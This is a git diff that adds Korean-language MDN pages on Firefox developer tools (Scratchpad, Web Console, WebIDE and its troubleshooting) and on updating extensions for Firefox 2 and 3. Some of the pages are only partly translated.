+<p>윈도우의 아래에 코드의 현재의 실행 범위가 표시 됩니다. 여기에는 스크래치패드의 내용 또는 현재의 페이지의 컨텐츠가 됩니다. 자세한 것은 <a href="/ko/Tools/Scratchpad#Scratchpad_scope" title="Scratchpad scope">스크래치패드의 범위</a>를 참고하세요.</p>
+
+<div class="geckoVersionNote">{{ gecko_callout_heading("10.0") }}
+<p>Gecko 10.0 {{ geckoRelease("10.0") }} 로 스크래치패드의 에디터가 문법상 하이라이트나 개량된 인덴트등의 기능을 가지는 <a class="external" href="http://eclipse.org/orion/" title="http://eclipse.org/orion/">Orion</a> 로 옮겨졌습니다.여기에 스크래치패드의 내용이 Firefox 의 세션 복원 기능을 이용해 저장되게 되었으므로 Firefox 다시 시작 후에도 내용이 남습니다.</p>
+</div>
+
+<p>파일 메뉴에서는 JavaScript 코드의 저장이나 읽기를 실행할 수 있기 때문에 다음에 코드를 재이용할 수 있습니다.</p>
+
+<h3 id="코드_실행하기">코드 실행하기</h3>
+
+<p>코드를 기술하면 실행하고 싶은 위치 범위를 선택해 오른쪽 클릭해 (또는 도구모음의 실행 메뉴로) 코드의 실행 방법을 선택해 주세요. 코드의 실행 방법은 세 가지 종류 있습니다.</p>
+
+<div class="note"><strong>주의:</strong> 범위 선택을 실시하지 않는 경우는 윈도우내의 코드 모두 실행됩니다.</div>
+
+<h4 id="실행">실행</h4>
+
+<p>실행 옵션을 선택하면 선택한 코드가 실행됩니다. 이것은 함수나 그 외의 코드를 실행하거나 페이지내의 컨텐츠를 조작하거나 하는 것입니다.</p>
+
+<h4 id="검사">검사</h4>
+
+<p>검사 옵션은 코드를 실행 옵션과 같이 실행합니다. 다만 실행 후에 반환값의 검증을 실시할 수 있는 객체 검사기가 열립니다.</p>
+
+<p>예를 들면 이하의 코드를 입력합니다:</p>
+
+<pre>window
+</pre>
+
+<p>그리고 검사를 선택하면 이하와 같은 검사기의 윈도우가 표시됩니다:</p>
+
+<p><img alt="inspector.png" class="default internal" src="/@api/deki/files/5565/=inspector.png"></p>
+
+<h4 id="표시">표시</h4>
+
+<p>표시 옵션은 선택된 코드를 실행하고 그 결과를 스크래치패드의 에디터내에 코멘트로서 삽입합니다. 이것은 작업중에 테스트 결과의 실행 로그를 남기는데 편리한 방법입니다. 또 이 기능은 큰 문제를 떠안았을 때에 보다 좋은 계산기 프로그램을 가지고 있지 않은 경우에서도 만일의 경우의 계산기로서 사용할 수 있습니다.</p>
+
+<h2 id="지우기">지우기</h2>
+
+<p>실행 메뉴 또는 스크래치패드의 윈도우로 오른쪽 클릭한다고 표시되는 context menu의 "변수 재설정"을 선택하면 모든 변수를 재설정 할 수 있습니다.</p>
+
+<h2 id="스크래치패드_사용_예제">스크래치패드 사용 예제</h2>
+
+<p>아래에 도움이 되는 사례는 많이 있습니다. 여기에서 몇 가지를 소개합니다.</p>
+
+<h3 id="새로운_코드_테스트">새로운 코드 테스트</h3>
+
+<p>스크래치패드는 새로운 코드를 실제의 브라우저 환경에서 테스트하는 것에 특별히 도움이 됩니다. 디버그 중의 코드를 스크래치패드에 붙여넣기하여 실행해 그것이 동작할 때까지 조정합니다. 동작하게 되면 코드를 본래의 파일에 되돌려 완성합니다. 많은 경우 웹 페이지를 다시 읽고 코드를 작성한 후, 디버그 및 테스트를 실시할 수 있습니다.</p>
+
+<h3 id="재활용_가능한_코드">재활용 가능한 코드</h3>
+
+<p>스크래치패드의 도구 모음에는 JavaScript 코드의 저장이나 읽기를 실시하는 명령어가 있습니다. 이 기능은 잘 사용하는 JavaScript는 작은 코드의 보관에 사용할 수 있습니다. 예를 들면 데이터 읽기에 AJAX 리퀘스트를 이용하는 사이트에서 작업을 실시하고 있는 경우 테스트나 데이터의 검증을 위해서 그러한 읽기 조작을 실시하는 코드 영역을 저장해 둘 수 있습니다. 같이 DOM 에 관한 특정의 정보를 덤프 하는 함수와 같은 유용한 범용 디버그 함수를 저장해 둘 수도 있습니다.</p>
+
+<h2 id="스크래치패드_범위"><a name="Scratchpad_scope">스크래치패드 범위</a></h2>
+
+<p><a name="Scratchpad_scope"> </a></p>
+
+<p><a name="Scratchpad_scope">스크래치패드로 실행하는 코드는 페이지 전체에 접근 가능한 샌드 박스내에서 실행됩니다만 신규 작성한 변수는 페이지에 나가지 않습니다. 명시적으로 변수를 페이지로 보내고 싶은 경우는,{{ domxref("window") }} 객체에 그 변수를 두는 것으로 실현할 수 있습니다:</a></p>
+
+<pre><a name="Scratchpad_scope">window.myVariable = value;
+</a></pre>
+
+<p><a name="Scratchpad_scope">이 경우 신규 작성한 <code>window.myVariable</code> 변수는 페이지상에서 실행하고 있는 스크립트에 접근 가능하게 됩니다.</a></p>
+
+<div class="note"><a name="Scratchpad_scope"><strong>주의:</strong> 이 샌드 박스의 동작은 </a><a href="/ko/Tools/Web_Console" title="Using the Web Console">웹 콘솔</a>과 유사합니다. 다만 스크래치패드는 탭을 바꾸어 사용하는 점이 웹 콘솔과는 다릅니다. 즉, 스크래치패드로 실행하는 코드는 맨 앞면의 브라우저 윈도우로 현재 선택하고 있는 탭에 대해서만 실행됩니다. 예를 들면 같은 테스트를 복수의 웹 서버에 대해서 실행 할 수 있게 됩니다.</div>
+
+<h3 id="스크래치패드를_Firefox_내부_접근_사용">스크래치패드를 Firefox 내부 접근 사용</h3>
+
+<p>Firefox 자체에 대하고 작업을 하는 경우나 확장 기능을 개발하는 경우는 스크래치패드를 이용해 브라우저의 내부 모두에게 액세스 할 수 있어 편리합니다. 이를 위해서는 <code>about:config</code>로 설정 <code>devtools.chrome.enabled</code> 를 <code>true</code> 로 설정하는 것이 필요합니다. 이 설정을 하면 실행 환경 메뉴에 브라우저라고 하는 선택 사항이 추가됩니다.이것을 선택하면 범위가 웹 페이지의 컨텐츠로부터 브라우저 전체로 바뀝니다.</p>
+
+<p>{{ languages( { "en": "en/Tools/Scratchpad", "es": "es/Herramientas/Borrador", "fr": "fr/Outils/Ardoise" } ) }}</p>
diff --git a/files/ko/tools/web_console/index.html b/files/ko/tools/web_console/index.html
new file mode 100644
index 0000000000..8f034e2e57
--- /dev/null
+++ b/files/ko/tools/web_console/index.html
@@ -0,0 +1,37 @@
+---
+title: Web Console
+slug: Tools/Web_Console
+translation_of: Tools/Web_Console
+---
+<div>{{ToolsSidebar}}</div><p>웹 콘솔:</p>
+
+<ol>
+ <li>로그 정보는 웹페이지와 연관되어 있습니다 : 페이지 컨텍스트 안에서 자바스크립트 코드가 동작하면서 네트워크 요청, 자바스크립트, CSS, 보안 에러들과 에러만큼 많은 경고들, 정보메시지들이  명시적으로 기록됩니다</li>
+ <li> 페이지의 컨텍스트 안에서 자바 스크립트 표현식으로 처리된 웹 페이지와의 상호작용을 가능하게 해줍니다</li>
+</ol>
+
+<p>{{EmbedYouTube("C6Cyrpkb25k")}}</p>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter">웹 콘솔 시작하기</a></dt>
+ <dd>웹 콘솔 사용을 시작하기 위한 방법</dd>
+ <dt><a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter">명령 라인 인터프리터</a></dt>
+ <dd>콘솔을 사용하여 문서와 상호작용하기 위한 방법</dd>
+ <dt><a href="/en-US/docs/Tools/Web_Console/Split_console">콘솔 나누기</a></dt>
+ <dd>다른도구와 함께 콘솔 사용하기</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Web_Console/Console_messages">콘솔 메시지들</a></dt>
+ <dd>콘솔 로그의 메시지 세부사항들</dd>
+ <dt><a href="/en-US/docs/Tools/Web_Console/Rich_output">Rich output</a></dt>
+ <dd>콘솔에 의해 기록된 객체를 보고 상호작용.</dd>
+ <dt><a href="/en-US/docs/Tools/Web_Console/Keyboard_shortcuts">단축키</a></dt>
+ <dd>단축키 참고</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ko/tools/webide/index.html b/files/ko/tools/webide/index.html
new file mode 100644
index 0000000000..b5257f47ae
--- /dev/null
+++ b/files/ko/tools/webide/index.html
@@ -0,0 +1,42 @@
+---
+title: WebIDE
+slug: Tools/WebIDE
+tags:
+  - Apps
+  - Debugging
+  - Firefox OS
+  - NeedsTranslation
+  - TopicStub
+  - WebIDE
+  - tool
+translation_of: Archive/WebIDE
+---
+<div>{{ToolsSidebar}}</div><div class="summary">
+<p>WebIDE enables you to create, edit, run, and debug web apps using the <a href="https://developer.mozilla.org/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS Simulator</a> or a real Firefox OS device.</p>
+
+<p>It also enables you to connect the <a href="https://developer.mozilla.org/en-US/docs/Tools">Firefox Developer Tools</a> to a number of other browsers, including Firefox for Android, Chrome on Android, and Safari on iOS. See the <a href="https://developer.mozilla.org/en-US/docs/Tools/Remote_Debugging">Remote Debugging</a> page for instructions on how to connect to a specific browser.</p>
+</div>
+
+<p>With WebIDE, you first <a href="/en-US/docs/Tools/WebIDE/Setting_up_runtimes">set up one or more runtimes</a>. A runtime is an environment in which you'll run and debug the app. A runtime could be a Firefox OS device connected to the desktop over USB (or over Wi-Fi since <a href="/en-US/Firefox/Releases/39">Firefox 39</a>), or it could be a Firefox OS Simulator installed on the desktop itself.</p>
+
+<p>Next, you <a href="/en-US/docs/Tools/WebIDE/Creating_and_editing_apps">create an app, or open an existing app</a>. If you're creating a new app you can start with a template that includes the directory structure and the minimum boilerplate you need to get started, or a more complete template that shows how to use a privileged API. WebIDE shows your app's files in a tree, and you can edit and save them using a built-in source editor. Of course, you don't have to use the built-in editor: you can develop your app entirely outside WebIDE, and only use it for debugging.</p>
+
+<p>Finally, you can <a href="/en-US/docs/Tools/WebIDE/Running_and_debugging_apps">install the app in one of the runtimes and run it</a>. You can then open the usual suite of developer tools - the <a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector">Inspector</a>, <a href="https://developer.mozilla.org/en-US/docs/Tools/Web_Console">Console</a>, <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger">JavaScript Debugger</a> and so on - to examine and modify the running app.</p>
+
+<hr>
+<dl>
+ <dt><a href="/en-US/docs/Tools/WebIDE/Opening_WebIDE">Opening WebIDE</a></dt>
+ <dd>How to open WebIDE from within Firefox.</dd>
+ <dt><a href="/en-US/docs/Tools/WebIDE/Setting_up_runtimes">Setting up runtimes</a></dt>
+ <dd>How to connect to a runtime in which you can install apps, including Firefox OS devices, the the Firefox OS Simulator, and Firefox for Android.</dd>
+ <dt><a href="/en-US/docs/Tools/WebIDE/Creating_and_editing_apps">Creating and editing apps</a></dt>
+ <dd>How to create, open, and develop apps using WebIDE.</dd>
+ <dt><a href="/en-US/docs/Tools/WebIDE/The_runtime_menu">The runtime menu</a></dt>
+ <dd>Once you've selected a runtime, use the runtime menu to get information about the runtime and its apps, modify settings, and take a screenshot.</dd>
+ <dt><a href="/en-US/docs/Tools/WebIDE/Running_and_debugging_apps">Running and debugging apps</a></dt>
+ <dd>How to install apps to a runtime and debug them using the Firefox Developer Tools.</dd>
+ <dt><a href="/en-US/docs/Tools/WebIDE/Working_with_Cordova_apps_in_WebIDE">Working with Cordova apps in WebIDE</a></dt>
+ <dd>From Firefox 39, you can edit and debug Cordova apps using WebIDE.</dd>
+ <dt><a href="/en-US/docs/Tools/WebIDE/Troubleshooting">Troubleshooting</a></dt>
+ <dd>Help for problems with WebIDE, especially problems connecting to a runtime.</dd>
+</dl>
diff --git a/files/ko/tools/webide/문제해결/index.html b/files/ko/tools/webide/문제해결/index.html
new file mode 100644
index 0000000000..1cd12c1b45
--- /dev/null
+++ b/files/ko/tools/webide/문제해결/index.html
@@ -0,0 +1,115 @@
+---
+title: WebIDE 문제해결
+slug: Tools/WebIDE/문제해결
+translation_of: Archive/WebIDE/Troubleshooting
+---
+<div>{{ToolsSidebar}}</div><h2 id="USB로_Firefox_OS_장치_연결하기">USB로 Firefox OS 장치 연결하기</h2>
+
+<p>WebIDE를 통한 Firefox OS 장치 연결이 정상적이지 않을 때, 아래의 방법을 시도해보시기 바랍니다.</p>
+
+<ul>
+ <li>Firefox OS 버전 확인: 연결하고자 하는 기기에 <strong>Firefox OS 1.2/Boot2Gecko 1.2</strong> 이상의 버전이 동작하고 있는 것을 확인하세요. 버전을 확인하기 위해서는 기기에서 Settings 어플리케이션의 <code>Device Information &gt; Software</code> 에서 확인할 수 있습니다. 대상 기기에서 동작하는 소프트웨어의 버전이 낮을 경우에는 <a href="/en-US/Firefox_OS/Developer_phone_guide">developer phone guide</a>에서 연결 대상 기기를 찾은 뒤, 지시에 따라 업그레이드를 진행하시기 바랍니다.</li>
+ <li>원격 디버깅 활성화: 대상 기기의 Settings 어플리케이션에서  <code>Device information &gt; More information &gt; Developer</code>로 이동한 뒤
+  <ul>
+   <li>Firefox OS 1.3과 그 이전 버전: 체크 박스 형태의 "Remote Debugging"을 체크하세요.</li>
+   <li>Firefox OS 1.4 and later: "Remote Debugging" asks you to enable for just ADB, or for ADB and DevTools. Select "ADB and DevTools".</li>
+  </ul>
+ </li>
+ <li>잠금화면 끄기: in the Settings app on the device, go to <code>Screen Lock</code> and unchecking the <code>Lock Screen</code> checkbox. This is a good idea because when the screen gets locked, the phone connection gets lost, meaning it is no longer available for debugging.</li>
+ <li>Make sure you haven't connected an Android phone at the same time as the Firefox OS phone to your computer.</li>
+ <li>사용중인 USB케이블 확인:
+  <ul>
+   <li>Try unplugging and replugging in the USB cable.</li>
+   <li>Try plugging the USB cable into a different port on your computer. You may have to alternate between ports.</li>
+   <li>Try a different USB cable. The cables that come with phones are often of poor quality and fail often.</li>
+   <li>Try a shorter USB cable. Long USB cables have been known to not work so well.</li>
+  </ul>
+ </li>
+ <li>Try disabling and re-enabling Remote Debugging in the Settings app on the device.</li>
+ <li>If <a href="/en-US/docs/Tools/WebIDE#Custom_runtimes">you disabled the ADB Addon Helper</a>, did you successfully run the <code>adb forward</code> command?</li>
+ <li>If you use Linux:
+  <ul>
+   <li>Make sure you added a <code>udev</code> rules file, as documented in step 3 of this guide to <a class="external external-icon" href="http://developer.android.com/tools/device.html#setting-up">setting up an Android device</a>. The <code>idVendor</code> attribute to use for the Geeksphone is "05c6", and <a class="external external-icon" href="http://developer.android.com/tools/device.html#VendorIds">this page</a> lists other <code>idVendor</code> values. Next, run the <code>adb devices</code> to make sure your device is in the list. If device appears to be "no permission", you need to restart adb server (e.g. <code>adb kill-server;adb start-server</code>).</li>
+  </ul>
+ </li>
+ <li>If you use Windows:
+  <ul>
+   <li>You need to install drivers, as documented in step 3 of this guide to <a class="external external-icon" href="http://developer.android.com/tools/device.html#setting-up">setting up an Android device</a>. You can find drivers for Geeksphone devices on the <a class="external external-icon" href="http://downloads.geeksphone.com/">Geeksphone web site</a> and drivers for Google devices on <a href="http://developer.android.com/sdk/win-usb.htm">Google web site</a>. Windows 8 by default will not let you install unsigned drivers. See this tutorial on <a class="external-icon external" href="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html" title="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html">"How to install an unsigned driver on Windows 8"</a>.</li>
+   <li>If WebIDE can't see your device after following all the steps, you may have to <a class="external-icon external" href="http://blog.fh-kaernten.at/wehr/?p=1182">edit adb_usb.ini</a>.</li>
+  </ul>
+ </li>
+ <li>If you use Mac OS X:
+  <ul>
+   <li>If you're getting timeout errors connecting to both simulators and real devices, you may be unable to connect to localhost due to an empty /etc/hosts file. You can solve the problem by populating the file and flushing DNS cache <a href="https://discussions.apple.com/thread/2729411?tstart=0">as described here</a>.</li>
+   <li>If you're an EasyTether user, you will need to uninstall or disable EasyTether: <code>sudo kextunload /System/Library/Extensions/EasyTetherUSBEthernet.kext</code></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Wi-Fi로_Firefox_OS_장치_연결하기">Wi-Fi로 Firefox OS 장치 연결하기</h2>
+
+<ul>
+ <li>Check your version: Wi-Fi debugging requires Firefox 39 or higher, and a Firefox OS device running a build of Firefox OS 3.0 from 2015-03-27 or later.</li>
+ <li>The QR code scanner can be a bit frustrating at the moment, as real devices appear to capture a very low resolution picture. <a href="https://bugzil.la/1145772">Bug 1145772</a> aims to improve this soon. If you have trouble with this, try scanning with a few different orientations. If you chose "Scan and Remember, then you won't have to scan the code again the next time you connect your computer to this device.</li>
+</ul>
+
+<h2 id="Connecting_to_Firefox_for_Android">Connecting to Firefox for Android</h2>
+
+<p>If you're trying to connect to a Firefox instance running on the Android OS and it doesn't show up, here are some things you can try:</p>
+
+<ul>
+ <li>Check your Firefox version: make sure your device is running<strong> Firefox 36 or higher</strong>. WebIDE will not detect older versions automatically, so you need to enable port forwarding and connect to the device port - follow the instructions <a class="external external-icon" href="https://developer.mozilla.org/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android">here</a>.</li>
+ <li>Make sure you have enabled remote debugging in Firefox: open Firefox for Android, open its menu, select <code>Settings</code>, and then check the checkbox at <code>Developer Tools &gt; Remote debugging</code>.</li>
+ <li>Make sure that USB debugging is allowed in the device's developer settings</li>
+ <li>If you still do not see your device in the WebIDE window, try toggling <code>Remote debugging</code> on the phone.
+  <ul>
+   <li>Disconnect your device from your computer and turn off <code>Remote debugging</code> on the phone.</li>
+   <li>Reconnect the device and turn on <code>Remote debugging</code> - this restarts the debugger instance on the phone.</li>
+   <li>Try connecting via WebIDE again.</li>
+  </ul>
+ </li>
+ <li>If using Windows, make sure that your Android device is recognized correctly and that it is using the Google USB Driver that is included with the Android SDK.</li>
+</ul>
+
+<h2 id="Connecting_to_other_browsers_Chrome_Safari">Connecting to other browsers (Chrome, Safari)</h2>
+
+<p>WebIDE makes use of <a href="/en-US/docs/Tools/Valence">Valence (formerly Firefox Tools Adapter)</a> to reach other browsers, like Chrome and Safari. </p>
+
+<p>If you are having trouble connecting to these other browsers, check the setup steps and other notes for those browsers on the <a href="/en-US/docs/Tools/Valence">Valence page</a>.</p>
+
+<h2 id="Cant_debug_some_apps">Can't debug some apps</h2>
+
+<p>If you are finding that you can't debug certified apps, built-in apps, or apps already installed on a real device, then you may be coming across WebIDE's restricted privileges security policy. To find out more, see the section on <a href="/en-US/docs/Tools/WebIDE#Unrestricted_app_debugging_%28including_certified_apps.2C_main_process.2C_etc.%29">Unrestricted app debugging (including certified apps, main process, etc.)</a>.</p>
+
+<h2 id="Unable_to_load_project_list">Unable to load project list</h2>
+
+<p>If you open WebIDE in one version of Firefox, and then downgrade to a previous Firefox version with the same profile, you may see the error "Unable to load project list" when opening WebIDE in the earlier Firefox version.</p>
+
+<p>This can occur when the storage system that WebIDE uses (<a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>) needs to move or restructure its internal files for the newer Firefox version. The project list then becomes effectively inaccessible to older versions of Firefox.</p>
+
+<p>No data has been lost, but you will need to keep using the newest version of Firefox that was used with your profile to get the project list back.</p>
+
+<p>If really want to use the older version of Firefox, you can attempt to delete just the project list in the following way, but this is unsupported and could result in the further problems or additional data loss:</p>
+
+<ol>
+ <li>Close Firefox</li>
+ <li>Find your Firefox profile directory</li>
+ <li>Find the <code>storage</code> folder inside the profile directory</li>
+ <li>Under some part of this file tree, there should be files and/or directories that start with <code>4268914080AsptpcPerjo</code> (a hashed name of the database)</li>
+ <li>Remove any such files and directories</li>
+ <li>Start Firefox and WebIDE again</li>
+</ol>
+
+<h2 id="Enable_logging">Enable logging</h2>
+
+<p>You can also enable verbose logging to gather diagnostics:</p>
+
+<ol start="1" style="list-style-type: decimal;">
+ <li>Open <a class="external external-icon" href="http://kb.mozillazine.org/About:config">about:config</a>, and add a new preference called <code>extensions.adbhelper@mozilla.org.sdk.console.logLevel</code>, with the string value <code>all</code>, and set <code>extensions.adbhelper@mozilla.org.debug</code> to <code>true</code>.</li>
+ <li>In the <a class="external external-icon" href="https://support.mozilla.org/en-US/kb/disable-or-remove-add-ons">Add-ons Manager</a>, disable and then re-enable the ADB Helper add-on.</li>
+ <li>Open the <a href="https://developer.mozilla.org/en-US/docs/Tools/Browser_Console">Browser Console</a> and you'll now see console messages prefixed with <code>adb</code>. If the messages don't mean anything to you, <a href="/en-US/docs/Tools/WebIDE/Troubleshooting#Get_help">ask for help</a>.</li>
+</ol>
+
+<h2 id="Get_help">Get help</h2>
+
+<p>Go to the <a class="external external-icon" href="https://wiki.mozilla.org/DevTools/GetInvolved#Communication">#devtools room on IRC</a> and we will try to help.</p>
diff --git a/files/ko/updating_extensions_for_firefox_2/index.html b/files/ko/updating_extensions_for_firefox_2/index.html
new file mode 100644
index 0000000000..b8c6f9f648
--- /dev/null
+++ b/files/ko/updating_extensions_for_firefox_2/index.html
@@ -0,0 +1,30 @@
+---
+title: Updating extensions for Firefox 2
+slug: Updating_extensions_for_Firefox_2
+translation_of: Mozilla/Firefox/Releases/2/Updating_extensions
+---
+<p>이 문서는 Firefox 2에서 확장 기능이 동작하도록 개발자들에게 유용한 정보를 제공해 줍니다.
+</p>
+<h2 id=".EB.8B.A8.EA.B3.84_1:_install_manifest_.EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8" name=".EB.8B.A8.EA.B3.84_1:_install_manifest_.EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8">단계 1: install manifest 업데이트</h2>
+<p>첫 단계로 대부분의 확장기능이 <a href="ko/Install_Manifests">install manifest</a> 파일과 &lt;tt&gt;install.rdf&lt;/tt&gt;에서 Firefox 2와의 호환성 정보를 기재해야 합니다.
+</p><p>간단히 Furefix의 최대 호환 버전에 대한 정보를 제공하면 됩니다. Firefox 1.5는 다음과 같습니다.
+</p>
+<pre class="eval"> <span class="nowiki">&lt;em:maxVersion&gt;1.5.0.*&lt;/em:maxVersion&gt;</span>
+</pre>
+<p>Firefox 2와 호환성을 유지하려면 아래와 같이 수정 합니다.
+</p>
+<pre class="eval"> <span class="nowiki">&lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;</span>
+</pre>
+<p>확장 기능을 다시 설치해야 합니다.
+</p>
+<h2 id=".EB.8B.A8.EA.B3.84_2:_XML_.EC.98.A4.EB.B2.84.EB.A0.88.EC.9D.B4_.EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8" name=".EB.8B.A8.EA.B3.84_2:_XML_.EC.98.A4.EB.B2.84.EB.A0.88.EC.9D.B4_.EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8">단계 2: XML 오버레이 업데이트</h2>
+<p>Firefox 2는 기본 스킨이 변경 됩니다. 부가적으로 몇 가지 사용자 인터페이스가 변경 됩니다. 어떤 부가 기능들은 XUL 오버레이와 관련되어 변경 가능성이 있습니다.
+</p><p>XUL 오버레이와 관련된 변화에 대해서는 <a href="ko/Theme_changes_in_Firefox_2">Firefox 2에서 테마 변경</a>이라는 문서를 참고하십시오.
+</p>
+<h2 id=".EB.8B.A8.EA.B3.84_3:_.ED.85.8C.EC.8A.A4.ED.8A.B8" name=".EB.8B.A8.EA.B3.84_3:_.ED.85.8C.EC.8A.A4.ED.8A.B8">단계 3: 테스트</h2>
+<p>확장 기능을 공개 하기 전에 Firefox 2에서 제대로 동작 여부를 테스트해야 합니다. 마지막으로 확장 기능 최신 버전이 Firefox에 문제가 있는 지 여부를 확인 하는 것이 좋습니다.
+</p>
+<h2 id=".EB.8B.A8.EA.B3.84_4:_.EC.B6.9C.EC.8B.9C" name=".EB.8B.A8.EA.B3.84_4:_.EC.B6.9C.EC.8B.9C">단계 4: 출시</h2>
+<p>사용자들이 이용할 수 있도록 <a class=" external" href="http://addons.mozilla.org" rel="freelink">http://addons.mozilla.org</a> 상 내용을 업데이트 합니다.
+</p><p>부가적으로 확장 기능이 Firefox 2에서 업데이트 사실을 자동적으로 알 수 있도록 install manifest에 <code><a href="ko/Install_Manifests#updateURL">updateURL</a></code>도 함께 변경 합니다. 이렇게 하면 사용자들이 Firefox 2로 업그레이드 한 후에 자동적으로 확장 기능 업데이트도 함께 제공하게 됩니다.
+</p>{{ languages( { "pl": "pl/Aktualizacja_rozszerze\u0144_do_Firefoksa_2", "fr": "fr/Mise_\u00e0_jour_des_extensions_pour_Firefox_2", "en": "en/Updating_extensions_for_Firefox_2" } ) }}
diff --git a/files/ko/updating_extensions_for_firefox_3/index.html b/files/ko/updating_extensions_for_firefox_3/index.html
new file mode 100644
index 0000000000..82531182f4
--- /dev/null
+++ b/files/ko/updating_extensions_for_firefox_3/index.html
@@ -0,0 +1,137 @@
+---
+title: Updating extensions for Firefox 3
+slug: Updating_extensions_for_Firefox_3
+tags:
+  - Firefox 3
+translation_of: Mozilla/Firefox/Releases/3/Updating_extensions
+---
+<div class="blockIndicator draft">
+    <p><strong>초안</strong><br>
+    이 문서는 작성중입니다.</p>
+
+</div>
+
+<p>이 글은 기존에 작성한 확장 기능이 Firefox 3에서도 잘 작동할 수 있게 업데이트하기 원하는 개발자들에게 유용한 정보를 제공합니다.</p>
+
+<p>진행하기 앞서 유용한 힌트를 드리겠습니다. 여러분이 작성한 확장기능이 install manifest의 <code>maxVersion</code> 값만 수정하면 되고 <a class="link-https" href="https://addons.mozilla.org">addons.mozilla.org</a> 에서 제공되고 있다면, 새로운 버전의 확장기능을 업로드할 필요가 없습니다! 그냥 AMO에 있는 Developer Control Panel을 사용해서 <code>maxVersion</code> 을 수정하면 됩니다. 이렇게 하면 여러분의 확장기능이 다시 리뷰되는 것을 막을 수 있습니다.</p>
+
+<h3 id="1.EB.8B.A8.EA.B3.84_install_manifest_.EC.88.98.EC.A0.95" name="1.EB.8B.A8.EA.B3.84:_install_manifest_.EC.88.98.EC.A0.95">1단계: install manifest 수정</h3>
+
+<p>첫 번째 단계(아마 대부분의 확장기능이 이 단계만 거치면 될 것 같습니다)는 <a href="ko/Install_Manifests">install manifest</a> 파일인 install.rdf를 Firefox 3과 호환되도록 수정하는 것입니다.</p>
+
+<p>먼저 호환 가능한 Firefox의 최고 버전을 나타내는 라인을 찾습니다(Firefox 2에서는 다음과 같을 것입니다).</p>
+
+<pre class="eval"> <span class="nowiki">&lt;em:maxVersion&gt;2.0.*&lt;/em:maxVersion&gt;</span>
+</pre>
+
+<p>이 라인을 Firefox 3과 호환되도록 수정하세요.</p>
+
+<pre class="eval"> <span class="nowiki">&lt;em:maxVersion&gt;3.0.*&lt;/em:maxVersion&gt;</span>
+</pre>
+
+<p>그리고 확장 기능을 다시 설치하세요.</p>
+
+<p>Firefox 3에서는 버전 번호의 마지막 ".0"이 사용되지 않으므로, "3.0.0.*" 대신 "3.0.*"으로 사용하면 된다는 점을 기억하세요.</p>
+
+<div class="blockIndicator note"><strong>주의:</strong> 현재 시점에서 Firefox 3가 계속적으로 변경이 있을것으로 생각됩니다. 이러한 변화들로 인해 어떤 확장기능들은 제대로 실행되지 않을 수도 있으므로 Firefox 3 release candidate 버전이 출시되기 전까지는 <code>maxVersion</code>이 <code>3.0.*</code>인 확장기능을 배포하지 않는 것이 좋습니다. Firefox 3 Beta 기간동안에는 <code>maxVersion</code> 값에 <code>3.0b3</code>을 사용하는 것이 좋습니다.</div>
+
+<p>확장기능들을 제대로 동작하지 않게 만들 수 있는 API의 많은 변화가 있었고 앞으로도 계속될 것입니다. 우리는 이러한 변화에 대한 전체 목록을 제공하기 위해 지속적으로 작업하고 있습니다.</p>
+
+<div class="blockIndicator note"><strong>주의:</strong> 여러분의 확장기능이 아직도 <a href='"ko/Install_Manifests"'>install manifest</a>가 아닌 <code><a href='"ko/Install.js"'>Install.js</a></code> 스크립트를 사용하고 있다면, 지금 시점에는 install manifest로 전환해야만 합니다. Firefox 3은 더 이상 XPI 파일의 <code>install.js</code> 스크립트를 지원하지 않습니다.</div>
+
+<h4 id="Install_manifest.EC.97.90_.EC.A7.80.EC.97.AD.ED.99.94_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0" name="Install_manifest.EC.97.90_.EC.A7.80.EC.97.AD.ED.99.94_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0">Install manifest에 지역화 추가하기</h4>
+
+<p>Firefox 3에서는 지역화된 정보를 명시하기 위해 install manifest에 새로운 속성을 지원합니다. 기존 방법들이 여전히 동작하긴 하지만 새로운 방법을 이용하면 Firefox에서 부가 기능의 설치가 중지되어 있거나 불가능한 동안에도 지역 정보를 선택할 수 있도록 해 줍니다. 자세한 내용은 <a href="ko/Localizing_extension_descriptions">Localizing extension descriptions</a>을 참조하세요.</p>
+
+<h3 id=".EB.8B.A8.EA.B3.84_2_.EB.B3.B4.EC.95.88_.EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8.EB.A5.BC_.EC.A0.9C.EA.B3.B5.ED.95.98.EA.B3.A0_.EC.9E.88.EB.8A.94.EC.A7.80_.ED.99.95.EC.9D.B8.ED.95.98.EC.84.B8.EC.9A.94." name=".EB.8B.A8.EA.B3.84_2:_.EB.B3.B4.EC.95.88_.EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8.EB.A5.BC_.EC.A0.9C.EA.B3.B5.ED.95.98.EA.B3.A0_.EC.9E.88.EB.8A.94.EC.A7.80_.ED.99.95.EC.9D.B8.ED.95.98.EC.84.B8.EC.9A.94.">단계 2: 보안 업데이트를 제공하고 있는지 확인하세요.</h3>
+
+<p>여러분이 직접 부가기능을 제공하고 있지만 <a class="link-https" href="https://addons.mozilla.org">addons.mozilla.org</a>과 같은 보안을 지원하지 않을 경우에는, 부가 기능을 업데이트할 수 있는 보안 방법을 제공해야 합니다. 이를 위해서는 여러분의 업데이트 사이트가 SSL 웹사이트에서 운영되던지 업데이트 정보가 서명된 암호화 키를 사용해야 합니다. 자세한 정보는 <a href="ko/Extension_Versioning%2c_Update_and_Compatibility#Securing_Updates">Securing Updates</a>를 읽어보세요.</p>
+
